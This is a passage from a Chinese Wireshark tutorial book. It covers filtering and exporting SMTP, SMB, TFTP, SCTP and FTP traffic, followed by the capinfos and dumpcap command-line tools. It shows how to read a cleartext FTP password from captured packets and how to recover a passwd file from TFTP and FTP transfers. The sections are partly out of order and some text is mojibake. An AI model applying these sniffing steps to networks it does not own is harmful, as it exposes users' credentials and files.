[Frame: 50, payload: 0-21 (22 bytes)] [Frame: 52, payload: 22-23 (2 bytes)] [Frame: 57, payload: 24-31 (8 bytes)] [Frame: 65, payload: 32-54 (23 bytes)] [DATA fragment count: 4] [Reassembled DATA length: 55] #数据包总长度 Internet Message Format #因特网消息格式 Subject: A Test Mail #主题 Message-Text #消息文本内容 Hello! This is a test mail ! 从以上包的信息中可以看到用户发送的邮件内容。 对于分析SMTP数据包，如果了解了所有的SMTP命令，那么分析其数据包也就变得容易了。通过查看客户端执行的命令，即可知道客户端执行的操作。为了方便用户对SMTP数据包进行分析，下面列出常见的SMTP命令，如表12.1所示。 表12.1 常见的SMTP命令"},
    {"text": "未知 12.1.3 导出IMF对象 Wireshark支持导出IMF对象，可以从中导出邮件内容。在菜单栏中依次选择“文件”|“导出对象”|IMF命令，将打开“导出IMF对象列表”对话框，如图12.4所示。 图12.4 “导出IMF对象列表”对话框 “导出IMF对象列表”对话框包括5列，分别为分组、主机名、内容类型、大小和文件名。从该对话框中可以看到有一个IMF对象。其中，该邮件内容的分组编号为67；内容类型为EML file；大小为55字节；文件名为A Test Mail.eml。用户单击Save按钮，可以保存该IMF对象，然后可以使用邮件客户端查看邮件详细内容。如果在该列表中包括许多个IMF对象，而且用户希望都导出的话，单击Save All按钮即可。单击Save按钮后，将弹出保存对象对话框，如图12.5所示。 图12.5 保存IMF对象 在对话框中指定保存的位置和文件名，然后单击“保存”按钮，即可成功导出IMF对象。此时，用户可以使用邮件客户端查看其内容，如图12.6所示。 图12.6 邮件内容 从图12.6中可以看到，已成功使用Foxmail邮件客户端查看了其邮件内容。 未知 12.2 SMB分析 SMB（Server Message Block）是一种IBM协议，用于在计算机间共享文件、打印机和串口等。SMB协议可以用在因特网的TCP/IP协议上，也可以用于其他网络协议上，如IPX和NetBEUI。目前，SMB协议常被用来作为共享文件安全传输的平台。通过分析SMB协议数据包，即可查看局域网中共享的文件。本节将介绍分析SMB数据包的相关内容。 未知 12.2.1 过滤SMB数据包 SMB协议目前已经发展到SMB 3.0版本了。在Wireshark中，用户可以使用显示过滤器smb和smb2分别显示过滤不同SMB版本的数据包。其中，使用smb和smb2显示过滤出的数据包如图12.7和图12.8所示。 图12.7 smb显示过滤的数据包 从Protocol列可以看到，显示过滤出的数据包协议为BROWSER和SMB。其中，BROWSER是基于CIFS/SMB协议，所以这里也显示过滤出了对应的数据包。 图12.8 smb2显示过滤的数据包 从Protocol列可以看到，所有数据包的协议都为SMB2。 未知 12.2.2 导出SMB对象 在Wireshark中，用户可以导出SMB对象。SMB对象就是客户端访问的SMB共享文件列表。通过导出SMB对象，即可查看其共享文件内容。在菜单栏中，依次选择“文件”|“导出对象”|SMB命令，将打开“导出SMB对象列表”对话框，如图12.9所示。 图12.9 “导出SMB对象列表”对话框 “导出SMB对象列表”对话框共包括5列，分别为分组、主机名、内容类型、大小和文件名。如果想要导出所有的SMB对象，则单击Save All按钮即可；如果导出单个SMB对象，则单击Save按钮。例如，这里导出分组为115的SMB对象，首先选择分组115的SMB对象，然后单击Save按钮，将弹出保存对象对话框，如图12.10所示。 图12.10 保存对象 在其中指定保存对象的位置、文件名及保存类型。设置完成后，单击“保存”按钮，即可成功导出SMB对象。 未知 12.3 TFTP分析 TFTP（Trivial File Transfer Protocol，简单文件传输协议）是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议，提供简单、低网络开销的文件传输服务。如果用户想要知道客户端从TFTP服务器上传或下载了哪个文件，则需要对TFTP协议进行分析。本节将介绍分析TFTP数据包的相关知识。 未知 1.1 网络数据传输 如果要分析网络数据，则需要先了解网络数据传输的基础知识，如网络构成、数据传输及网络类型。本节将介绍网络数据传输的基础知识。 未知 2.2 使用管道接口 通过前面的介绍可知，在Wireshark中可以使用管道接口来远程捕获数据包。为了方便用户捕获数据包，本节将介绍使用管道接口的方法。 未知 12.3.1 过滤TFTP数据包 为了能够快速找到分析的TFTP数据包，可以使用显示过滤器tftp进行显示过滤。过滤后的效果如图12.11所示。 图12.11 显示过滤TFTP数据包 从Protocol列可以看到，所有数据包的协议都为TFTP。由此可以说明，成功过滤出了TFTP数据包。通过从Info列显示的信息可以看到用户执行的操作。例如，Read Request,File（分组29）表示读取一个文件，即下载文件；Write Request,File（分组44）表示写入一个文件，即上传文件。此外，用户还可以看到上传或者下载的文件及文件类型。例如，这里查看分组29的包详细信息如下： Frame 29: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_79:95:9e (00:0c:29:79:95:9e), Dst: Vmware_ 0c:aa:06 (00:0c:29:0c:aa:06) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.129, Dst: 192.168.80.144 #IPv4协议 User Datagram Protocol, Src Port: 33372, Dst Port: 69 #UDP协议 Trivial File Transfer Protocol #TFTP协议 Opcode: Read Request (1) #操作码 Source File: passwd #源文件 Type: netascii #类型 从TFTP协议部分信息中可以看到，用户执行的操作为Read Request；读取的源文件为passwd；文件类型为netascii。由此可以说明，用户从TFTP服务器上下载了一个名为passwd的文件。"},
    {"text": "未知 12.3.2 导出TFTP对象 在Wireshark中，用户可以通过导出TFTP对象的方式，获取通过TFTP服务器传输的文件。在菜单栏中，依次选择“文件”|“导出对象”|TFTP命令，将打开“导出TFTP对象列表”对话框，如图12.12所示。 图12.12 “导出TFTP对象列表”对话框 “导出TFTP对象列表”对话框包括5列，分别为分组、主机名、内容类型、大小和文件名。从显示的结果中可以看到，传输了两个文件，分别是passwd和dict.txt。此时，用户单击Save All按钮，即可将这两个文件一起导出。如果只希望导出一个文件的话，选择要导出的文件，单击Save按钮即可导出这个文件。例如，这里导出所有的TFTP对象，单击Save All按钮，将弹出保存所有对象对话框，如图12.13所示。 图12.13 保存所有对象对话框 在其中指定保存位置及保存的文件夹。这里选择保存位置为桌面，文件夹为tftp。单击“选择文件夹”按钮，即可成功导出所有TFTP对象。此时，用户在桌面打开tftp文件夹，即可看到导出的文件，然后就可以查看其文件内容了。例如，查看passwd文件，效果如图12.14所示。 图12.14 passwd文件 从图12.14中可以看到，成功显示出了passwd文件的内容。由此可以说明，成功导出了TFTP对象。 未知 12.4 SCTP分析 SCTP（Stream Control Transmission Protocol，流控制传输协议）是一个面向连接的流传输协议。它可以在两个端点之间提供稳定、有序的数据传递服务。SCTP可以看做是TCP协议的改进，它继承了TCP较为完善的拥塞控制并改进了TCP的一些不足之处。在移动通信网络中，SCTP协议在IP承载连接的情况下得到了广泛应用。本节将介绍分析SCTP数据包的相关知识。 未知 12.4.1 过滤SCTP数据包 为了从捕获文件中快速找到SCTP数据包，可以使用显示过滤器sctp进行过滤。当用户进行过滤后，显示结果如图12.15所示。 图12.15 显示过滤SCTP数据包 从Protocol列可以看到，所有数据包协议都为SCTP。由此可以说明，成功过滤出了SCTP数据包。接下来用户即可对SCTP数据包进行分析了。 未知 12.4.2 SCTP分析 Wireshark提供了专门用于分析SCTP数据包的功能。在菜单栏依次选择“分析”|SCTP命令，将展开SCTP子菜单，如图12.16所示。 图12.16 SCTP子菜单 从子菜单中可以看到，用户可以选择分析关联和显示所有助手两种方式对SCTP数据包进行分析。选择“分析关联”命令，将弹出“SCTP分析助手”对话框，如图12.17所示。 图12.17 “SCTP分析助手”对话框 在“SCTP分析助手”对话框中包括3个选项卡，分别为统计、端点1和端点2。其中，“统计”选项卡显示了端点1和端点2之间传输的数据统计信息；端点1表示端点1地址发送的数据包数；端点2表示端点2地址发送的数据包。单击“过滤器关联”按钮，即可显示过滤关联的数据包。单击“块统计”按钮，即可显示SCTP数据统计对话框，如图12.18所示。 图12.18 SCTP数据统计对话框 从图12.18所示对话框中可以看到每种数据块对应的各种数据包。此时，单击Close按钮，将返回SCTP分析助手对话框。然后选择“端点1”或“端点2”选项卡，即可查看端点1或端点2发送的数据包，如图12.19和图12.20所示。 图12.19 “端点1”选项卡 图12.20 “端点2”选项卡 从以上对话框中即可查看端点1和端点2输入流及输出流的数量信息。用户单击“TSN图”“字节图”“Arwnd图”按钮，即可以不同图表格式显示端点1和端点2的数据流。 用户在菜单栏中，依次选择“分析”|SCTP|“显示所有助手”命令，将打开“SCTP分析助手”对话框，如图12.21所示。 图12.21 “SCTP分析助手”对话框 “SCTP分析助手”对话框中包括5列，分别为端口1、端口2、分组数量、数据块的数量和分组数量。从中可以看到各种SCTP数据包数量。 未知 12.5 FTP分析 FTP（File Transfer Protocol，文件传输协议）是用于在网络上进行文件传输的一套标准协议。当客户端访问FTP服务器时，将会使用FTP协议来传输数据。对于一个小型企业，为了方便员工之间传输文件，通常会使用FTP服务器来实现。此时，如果用户想要知道客户端执行了哪些操作，则需要对FTP协议数据包进行分析。本节将介绍分析FTP数据包的相关知识。"},
    {"text": "未知 12.5.1 过滤FTP数据包 为了能够快速找到捕获到的FTP数据包，用户可以使用显示过滤器ftp进行显示过滤，效果如图12.22所示。 图12.22 显示过滤FTP数据包 从Protocol列可以看到，所有的数据包协议都为FTP。由此可以说明成功过滤出了FTP数据包。接下来用户就可以对其进行分析了。从Info列可以简单看到用户执行的命令，即对应的操作。例如，USER表示登录的用户名；PASS表示登录用户的密码；Response表示服务器响应的数据包；Request表示客户端发送的请求。例如，查看分组9的包详细信息如下： Frame 9: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_79:95:9e (00:0c:29:79:95:9e), Dst: Vmware_ 0c:aa:06 (00:0c:29:0c:aa:06) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.129, Dst: 192.168.80.144 #IPv4协议 Transmission Control Protocol, Src Port: 51772, Dst Port: 21, Seq: 1, Ack: 21, Len: 10 #TCP协议 File Transfer Protocol (FTP) #FTP协议 USER ftp\\r\\n Request command: USER #请求命令 Request arg: ftp #参数 [Current working directory: ] 从FTP协议部分信息可以看到，客户端向服务器发送了请求命令USER，参数值为ftp，表示请求使用ftp用户登录服务器。接下来查看响应该请求的分组（分组11）详细信息如下： Frame 11: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_0c:aa:06 (00:0c:29:0c:aa:06), Dst: Vmware_ 79:95:9e (00:0c:29:79:95:9e) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.144, Dst: 192.168.80.129 #IPv4协议 Transmission Control Protocol, Src Port: 21, Dst Port: 51772, Seq: 21, Ack: 11, Len: 34 #TCP协议 File Transfer Protocol (FTP) #FTP协议 331 Please specify the password.\\r\\n Response code: User name okay, need password (331) #响应状态码 Response arg: Please specify the password. #响应参数 [Current working directory: ] 从FTP协议部分可以看到，响应的状态码为User name okay,need password(331)，即用户名认证成功，需要指定密码；响应的参数值为Please specify the password.，即请求指定登录用户的密码。由此可以说明用户提交的用户名是正确的。接下来将指定对应的密码登录FTP服务器。 为了方便用户对FTP数据包进行分析，下面将列举出常见的FTP命令及响应状态码，如表12.2和表12.3所示。 表12.2 常见的FTP命令 表12.3 FTP响应状态码 FTP协议是基于TCP协议的应用层协议，所以用户也可以通过追踪TCP流的方式，查看完整的FTP会话。右击任何一个FTP数据包，在弹出的快捷菜单中依次选择“追踪流”|“TCP流”命令，将弹出追踪到的TCP流会话对话框，如图12.23所示。 图12.23 追踪的TCP流 在图12.23所示对话框中，红色（箭头标注部分）表示客户端发送的FTP请求；蓝色（未标注部分）表示服务器响应的信息。通过分析对话框中的内容，即可知道客户端进行的操作。例如，登录的用户名为ftp，密码为daxuba。然后用户使用LIST命令查看了服务器中的文件列表，并使用CMD命令切换到了test目录。另外，还可以看到用户使用RETR和STOP命令分别下载和上传了文件。 未知 12.5.2 重组FTP数据 由于FTP协议是基于TCP协议传输的，所以对于传输较大的文件，将会进行TCP分片传输。如果用户想要获取客户端传输的完整的文件信息，则需要重组FTP数据。下面介绍重组FTP数据的方法。 前面使用过显示过滤器ftp，其过滤出的数据包为客户端请求的FTP所有命令包。如果要重组FTP数据，则需要找到传输的FTP数据包，此时用户可以使用显示过滤器ftp-data快速过滤出FTP数据包，效果如图12.24所示。 图12.24 FTP数据包 从Protocol列可以看到，所有数据包协议为FTP-DATA，表示FTP数据包。此时，用户可以通过追踪TCP流的方式来重组FTP数据。从Info列可以看到，前两个包执行的命令为LIST，表示列出文件列表；后面两个包执行的命令为RETR（下载）和STOR（上传）。这里要重组FTP数据，所以主要是查看客户端传输的文件。例如，这里选择重组passwd文件，可以右击分组70，在弹出的快捷菜单中依次选择“追踪流”|“TCP流”命令，将打开追踪TCP流对话框，如图12.25所示。 图12.25 追踪TCP流 在“追踪TCP流”对话框中显示了passwd文件的内容。单击Save as按钮，即可将该文件数据进行重组。单击Save as按钮后，将弹出保存流内容对话框，如图12.26所示。 在对话框中指定文件的保存位置、文件名和保存类型。指定的文件名要与RETR或STOR命令中看到的格式相同；否则，可能重组的FTP数据无法查看。这里指定文件名为passwd，单击“保存”按钮，即完成重组FTP数据。接下来打开passwd文件即可查看其内容，如图12.27所示。 图12.26 保存流对话框 图12.27 passwd文件内容 从图12.27中可以看到，正确显示了passwd文件内容。由此可以说明FTP数据重组成功。 未知 附录A Wireshark命令行工具 Wireshark不仅提供了很强大的GUI界面，而且还提供了许多命令行工具。这些工具可以用来捕获数据包、查看捕获文件信息、编辑捕获文件，以及对数据包进行分析等。本附录将介绍Wireshark命令行工具的使用方法。"},
    {"text": "未知 A.1 捕获文件信息查看工具capinfos capinfos是一个捕获文件信息查看工具，使用该工具可以查看捕获文件的通用信息、文件大小信息、时间信息及统计信息等。本节将介绍capinfos工具的使用方法。 未知 2.2.1 添加管道接口 在“管理接口”对话框中，选择“管道”标签，即可查看“管道”选项卡，如图2.17所示。 图2.17 “管道”选项卡 从“管道”选项卡中可以看到，默认没有添加任何的管道。此时，单击左下角的添加按钮 ，即可添加管道路径。 提示： 目前的Wireshark版本中无法保存管道设置。所以，如果用户重新启动Wireshark，还需要重新添加。 下面介绍在Linux下创建管道接口的方法。 【实例2-5】 在Linux下使用mkfifo工具创建管道，并在Wireshark中添加管道接口。具体操作步骤如下： （1）创建一个路径为/tmp/sharkfin的管道。执行命令如下： root@daxueba:~# mkfifo /tmp/sharkfin 执行以上命令后，将捕获输出的任何信息。此时，即可在Wireshark中添加该管道路径。在“管理接口”对话框中，选择“管道”标签，将显示“管道”选项卡，如图2.18所示。 （2）单击左下角的添加按钮 ，将显示添加的管道，如图2.19所示。 图2.18 “管道”选项卡 图2.19 新建管道 （3）从中可以看到，默认添加了一个名为“新建管道”的管道。此时，双击“新建管道”，将出现一个“浏览”按钮，用来指定创建的管道，如图2.20所示。 （4）单击“浏览”按钮，选择前面创建的管道/tmp/sharkfin，效果如图2.21所示。 图2.20 指定管道路径 图2.21 成功添加管道 （5）可以看到成功添加了管道。此时单击OK按钮，在“捕获接口”对话框中即可看到添加的管道接口，如图2.22所示。 （6）从该对话框中可以看到成功添加的/tmp/sharkfin管道接口。 图2.22 添加的管道接口 未知 A.1.1 基本使用 capinfos工具的语法格式如下： capinfos [options] <infile> 以上语法中，options表示支持的选项；infile用来指定输入文件。其中，支持的选项可以分为4类，分别是基本使用、报告形式、信息种类和杂项。基本使用选项及含义如下： ·-t：显示捕获文件的类型。 ·-E：显示捕获文件的封装方式。 ·-I：显示捕获使用的接口信息。 ·-F：显示捕获文件的附加信息。 ·-H：显示文件哈希值，包括SHA256、RMD160和SHA1哈希值。 ·-k：显示捕获文件的注释。 【实例A-1】 查看捕获文件tcp.pcapng的类型，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -t tcp.pcapng File name: tcp.pcapng #文件名 File type: Wireshark/... - pcapng #文件类型 从输出的信息可以看到，指定的捕获文件名为tcp.pcapng，文件类型为Wireshark/...-pcapng。 【实例A-2】 查看捕获文件tcp.pcapng使用的接口类型，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -I tcp.pcapng File name: tcp.pcapng #文件名 Number of interfaces in file: 1 #接口数 Interface #0 info: #接口信息 Name = eth0 #名称 Encapsulation = Ethernet (1 - ether) #封装方式 Capture length = 262144 #捕获长度 Time precision = nanoseconds (9) #时间精度 Time ticks per second = 1000000000 #每秒时间刻度 Time resolution = 0x09 #时间分辨率 Operating system = Linux 4.19.0-kali3-amd64 #操作系统 Number of stat entries = 1 #统计条目数 Number of packets = 188604 #数据包数 从以上输出信息可以看到，捕获文件tcp.pcapng使用的接口数为1，接口名为eth0，封装方式为Ethernet，捕获的长度为262144，时间精度为纳秒。 【实例A-3】 显示捕获文件tcp.pcapng的哈希值，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -H tcp.pcapng File name: tcp.pcapng #文件名 SHA256: 765fd8b7c01d08496e9456231641e896d41c93af992cfb66e7f2f7ec374 c794d #SHA256哈希值 RIPEMD160: f9995e83e1e2d6f02d857d729589b2942da61441 #RIPEMD160哈希值 SHA1: 22cb462c7a554968a5fb0a0a63c6402faacd3fda #SHA1哈希值 从以上输出信息可以看到，成功获取到捕获文件tcp.pcapng所对应的所有哈希值。例如，SHA1哈希值为22cb462c7a554968a5fb0a0a63c6402faacd3fda。"},
    {"text": "【实例A-4】 将捕获文件tcp.pcapng的信息以长报告形式显示为主机可读的值，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -M tcp.pcapng File name: tcp.pcapng #文件名 File type: Wireshark/... - pcapng #文件类型 File encapsulation: Ethernet #文件封装格式 File timestamp precision: nanoseconds (9) #文件时间戳精度 Packet size limit: file hdr: (not set) #包大小限制 Number of packets: 188604 #包的数量 File size: 156148480 bytes #文件大小 Data size: 149821725 bytes #数据大小 Capture duration: 126.003838957 second #捕获时间 First packet time: 2019-04-18 17:03:29.337436838 #第一个包的时间 Last packet time: 2019-04-18 17:05:35.341275795 #最后一个包的时间 Data byte rate: 1189025.08 bytes/sec #数据包字节速率 Data bit rate: 9512200.67 bits/sec #数据包位速率 Average packet size: 794.37 bytes #平均包大小 Average packet rate: 1496.81 packets/sec #平均包速率 SHA256: 765fd8b7c01d08496e9456231641e896d41c93af992cfb66e7f2 f7ec374c794d #SHA256值 RIPEMD160: f9995e83e1e2d6f02d857d729589b2942da61441 #RIPEMD 160哈希值 SHA1: 22cb462c7a554968a5fb0a0a63c6402faacd3fda #SHA1哈希值 Strict time order: False #严格的时间顺序 Capture hardware: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (with SSE4.2) #捕获的硬件 Capture oper-sys: Linux 4.19.0-kali3-amd64 #捕获包的操作系统类型 Capture application: Dumpcap (Wireshark) 2.6.6 (Git v2.6.6 packaged as 2.6.6-1) #捕获包的应用程序 Number of interfaces in file: 1 #接口数 Interface #0 info: #接口信息 Name = eth0 #名称 Encapsulation = Ethernet (1 - ether) #封装格式 Capture length = 262144 #捕获包长度 Time precision = nanoseconds (9) #时间精度 Time ticks per second = 1000000000 #每秒时间刻度 Time resolution = 0x09 #时间分辨率 Operating system = Linux 4.19.0-kali3-amd64 #操作系统 Number of stat entries = 1 #统计条目数 Number of packets = 188604 #包的数量 从以上输出信息可以看到捕获文件tcp.pcapng的详细信息。"},
    {"text": "【实例A-5】 将捕获文件信息生成表格报告，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -T tcp.pcapng 执行以上命令后，结果如图A.1所示。"},
    {"text": "【实例A-6】 不生成表头，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -T -r tcp.pcapng 执行以上命令后，结果如图A.2所示。"},
    {"text": "【实例A-7】 使用逗号分隔信息，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -T -m tcp.pcapng File name,File type,File encapsulation,File time precision,Packet size limit,Packet size limit min (inferred),Packet size limit max (inferred), Number of packets,File size (bytes),Data size (bytes),Capture duration (seconds),Start time,End time,Data byte rate (bytes/sec),Data bit rate (bits/sec),Average packet size (bytes),Average packet rate (packets/sec), SHA256,RIPEMD160,SHA1,Strict time order,Capture hardware,Capture oper- sys,Capture application,Capture comment tcp.pcapng,Wireshark/... - pcapng,Ethernet,nanoseconds,(not set),n/a,n/a, 188604,156148480,149821725,126.003838957,2019-04-18 17:03:29.337436838, 2019-04-18 17:05:35.341275795,1189025.08,9512200.67,794.37,1496.81,765fd 8b7c01d08496e9456231641e896d41c93af992cfb66e7f2f7ec374c794d,f9995e83e1e 2d6f02d857d729589b2942da61441,22cb462c7a554968a5fb0a0a63c6402faacd3fda, False, Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (with SSE4.2),Linux 4.19.0-kali3-amd64,Dumpcap (Wireshark) 2.6.6 (Git v2.6.6 packaged as 2.6.6-1), 从输出的信息可以看到，生成的表格报告以逗号分隔了捕获文件信息，而且包含表头。"},
    {"text": "3.值的引用方式 用户还可以设置值的引用方式，如不使用引号、使用单引号和双引号。 用于设置值的引用方式的选项及含义如下： ·-N：不使用引号。"},
    {"text": "【实例A-8】 使用双引号引用方式，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -T -Q tcp.pcapng \"File name\" \"File type\" \"File encapsulation\" \"File time precision\" \"Packet size limit\" \"Packet size limit min (inferred)\" \"Packet size limit max (inferred)\" \"Number of packets\" \"File size (bytes)\" \"Data size (bytes)\" \"Capture duration (seconds)\" \"Start time\" \"End time\" \"Data byte rate (bytes/sec)\" \"Data bit rate (bits/sec)\" \"Average packet size (bytes)\" \"Average packet rate (packets/sec)\" \"SHA256\" \"RIPEMD160\" \"SHA1\" \"Strict time order\" \"Capture hardware\" \"Capture oper-sys\" \"Capture application\" \"Capture comment\" \"tcp.pcapng\" \"Wireshark/... - pcapng\" \"Ethernet\" \"nanoseconds\" \"(not set)\" \"n/a\" \"n/a\" \"188604\" \"156148480\" \"149821725\" \"126.003838957\" \"2019-04-18 17:03:29.337436838\" \"2019-04-18 17:05:35.341275795\" \"1189025.08\" \"9512200.67\" \"794.37\" \"1496.81\" \"765fd8b7c01d08496e9456231641e896d41c93af992cfb66e7f2f7ec374c794d\" \"f9995e83e1e2d6f02d857d729589b2942da61441\" \"22cb462c7a554968a5fb0a0a63c6402faacd3fda\" \"False\" \" Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (with SSE4.2)\" \"Linux 4.19.0-kali3-amd64\" \"Dumpcap (Wireshark) 2.6.6 (Git v2.6.6 packaged as 2.6.6-1)\" \"\" 从输出的信息可以看到，生成的表格报告使用双引号引用了每个值。"},
    {"text": "未知 A.1.3 信息种类 capinfos工具还可以显示不同种类的信息，如数量信息、时间信息和统计信息等。下面将分别介绍查看信息种类的方法。 1.数量信息 数量信息是指捕获包的分组数量、文件大小和包长度等。其中，用于查看这些数量信息的选项及含义如下： ·-c：显示包的分组数据量。 ·-s：显示捕获文件的大小，单位为字节。 ·-d：显示所有包的总长度，单位为字节。 ·-l：显示捕获包限制的大小。 【实例A-9】 显示包的分组数据量，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -c tcp.pcapng File name: tcp.pcapng Number of packets: 188 k 从输出的信息可以看到，捕获文件tcp.pcapng的大小为188KB。 【实例A-10】 显示捕获文件中所有包的总长度，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -d tcp.pcapng File name: tcp.pcapng Data size: 149 MB 从输出的信息可以看到，捕获文件的所有包总长度为149MB。 2.时间信息 时间信息包括捕获文件的总共时长、起始时间和终止时间等。其中，用于查看捕获文件时间信息的选项及含义如下： ·-u：显示捕获时长，单位为秒。 ·-a：显示捕获包的起始时间。 ·-e：显示捕获包的终止时间。 ·-o：显示文件时序状态。 ·-S：以秒形式，限制起始和终止时间。 【实例A-11】 查看捕获文件的捕获时长，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -u tcp.pcapng File name: tcp.pcapng Capture duration: 126.003838957 second 从输出的信息可以看到，捕获文件tcp.pcapng的总共时长为126.003838957秒。 3.统计信息 统计信息包括平均数据速率、平均包大小和平均包速率等。查看这些统计信息的选项及含义如下： ·-y：显示每秒字节数。 ·-i：显示每秒位数。 ·-z：显示包平均大小。 ·-x：显示每秒发包数。 【实例A-12】 查看捕获文件中的平均包大小，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -z tcp.pcapng File name: tcp.pcapng Average packet size: 794.37 bytes 从输出的信息可以看到，捕获文件平均包大小为794.37字节。 4.元数据信息 元数据信息包括解析的IP地址及解密密钥数。用户查看捕获文件元数据信息的选项及含义如下： ·-n：显示解析的IPv4和IPv6地址。 ·-D：显示解密密钥数。 提示： -n和-D选项在Wireshark 3.0之后的版本中才有。 未知 A.1.4 杂项 capinfos工具还提供了一些杂项，可以查看帮助信息、所有文件信息，以及禁止显示捕获注释信息等。这些杂项及含义如下： ·-h：显示帮助信息。 ·-C：如果文件打开错误，将停止生成信息。 ·-A：显示所有信息。 ·-K：禁止显示捕获注释信息。 【实例A-13】 显示捕获文件的所有信息，执行命令如下： C:\\Program Files\\Wireshark> capinfos.exe -A tcp.pcapng File name: tcp.pcapng File type: Wireshark/... - pcapng File encapsulation: Ethernet File timestamp precision: nanoseconds (9) Packet size limit: file hdr: (not set) Number of packets: 188 k File size: 156 MB Data size: 149 MB Capture duration: 126.003838957 second First packet time: 2019-04-18 17:03:29.337436838 Last packet time: 2019-04-18 17:05:35.341275795 Data byte rate: 1,189 kBps Data bit rate: 9,512 kbps Average packet size: 794.37 bytes Average packet rate: 1,496 packets/s SHA256: 765fd8b7c01d08496e9456231641e896d41c93af992cfb66e7f2 f7ec374c794d RIPEMD160: f9995e83e1e2d6f02d857d729589b2942da61441 SHA1: 22cb462c7a554968a5fb0a0a63c6402faacd3fda Strict time order: False Capture hardware: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (with SSE4.2) Capture oper-sys: Linux 4.19.0-kali3-amd64 Capture application: Dumpcap (Wireshark) 2.6.6 (Git v2.6.6 packaged as 2.6.6-1) Number of interfaces in file: 1 Interface #0 info: Name = eth0 Encapsulation = Ethernet (1 - ether) Capture length = 262144 Time precision = nanoseconds (9) Time ticks per second = 1000000000 Time resolution = 0x09 Operating system = Linux 4.19.0-kali3-amd64 Number of stat entries = 1 Number of packets = 188604 从以上输出信息可以看到显示的捕获文件tcp.pcapng的所有相关信息。 未知 A.2 数据包捕获保存工具dumpcap dumpcap是一款非常好用的命令行抓包工具，并且可以将捕获的文件进行保存。本节将介绍该工具的使用方法。"},
    {"text": "未知 A.2.1 捕获数据 dumpcap工具的语法格式如下： dumpcap [options] dumpcap工具提供了大量的选项，可以用来设置捕获数据、远程捕获、自动停止捕获及保存文件。"},
    {"text": "【实例A-14】 列出当前主机中可用的网络接口，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -D 1. \\Device\\NPF_{7C1335DB-4869-440B-9CE3-7689D391688E} (浠ュお缃?4) 2. \\Device\\NPF_{ABE7186F-3137-49A2-B2E0-38D01CA4BFDB} (VMware Network Adapter VMnet1) 3. \\Device\\NPF_{4AECD8B9-4316-412D-8C57-CDB62AA3B71E} (浠ュお缃? 4. \\Device\\NPF_{D8FBBDA6-9D9C-4F36-AE9A-913413B6C0F2} (Npcap Loopback Adapter) 5. \\Device\\NPF_{35118E3F-F700-4666-BDBE-F82CDD9B8FC2} (鏈 湴杩炴帴* 8) 6. \\Device\\NPF_{6A05657F-CB6F-476C-B6A2-587D99E239D4} (鏈 湴杩炴帴* 7) 7. \\Device\\NPF_{E3CEA0CC-1890-4030-9506-833493ECDD61} (VMware Network Adapter VMnet8) 8. \\Device\\NPF_{BFEEA6DB-143D-435E-8E66-F0D9C77A6F94} (浠ュお缃?3) 9. \\Device\\NPF_{2EA12375-87A0-4D83-8F75-667DEB29C492} (浠ュお缃?2) 10. \\Device\\NPF_{FBAE213A-5FCC-4882-8731-8066F9456665} (鏈 湴杩炴帴* 6) 从输出的信息可以看到，成功列出了当前主机中的所有网络接口。"},
    {"text": "【实例A-15】 指定使用第3个接口捕获数据包，即ID号为3，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 3 Capturing on '浠ュお缃?File: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\ wireshark_浠ュお缃慱20190713111409_a02056.pcapng Packets: 71 从输出的信息可以看到，当前捕获的包数为71。"},
    {"text": "【实例A-16】 列出链路层类型，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -L Data link types of interface \\Device\\NPF_{7C1335DB-4869-440B-9CE3- 7689D391688E} (use option -y to set): EN10MB (Ethernet) DOCSIS (DOCSIS) 从输出的信息可以看到，支持的链路层类型为EN10MB(Ethernet)和DOCSIS(DOCSIS)。 【实例A-17】 设置使用链路层类型EN10MB(Ethernet)捕获数据包，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -y EN10MB (Ethernet) -i 3 Capturing on '浠ュお缃?File: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\ wireshark_浠ュお缃慱20190713112235_a09972.pcapng Packets captured: 10 3.设置时间戳类型 用户在捕获数据包时还可以设置时间戳类型。"},
    {"text": "【实例A-18】 指定使用捕获过滤器tcp，仅捕获TCP数据包，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -f tcp -i 3 5.捕获模式 用户在捕获数据包时还可以设置捕获模式。"},
    {"text": "【实例A-19】 不启用混杂模式并捕获数据包，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -p -i 3 6.无线捕获 dumpcap工具也可以捕获无线数据包。"},
    {"text": "【实例A-20】 捕获无线数据包并启用监听模式，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 11 -I 7.杂项 除了前面的捕获选项外，dumpcap还有一些其他捕获选项，如设置内核缓存大小、显示统计信息、不报告捕获的分组数等。"},
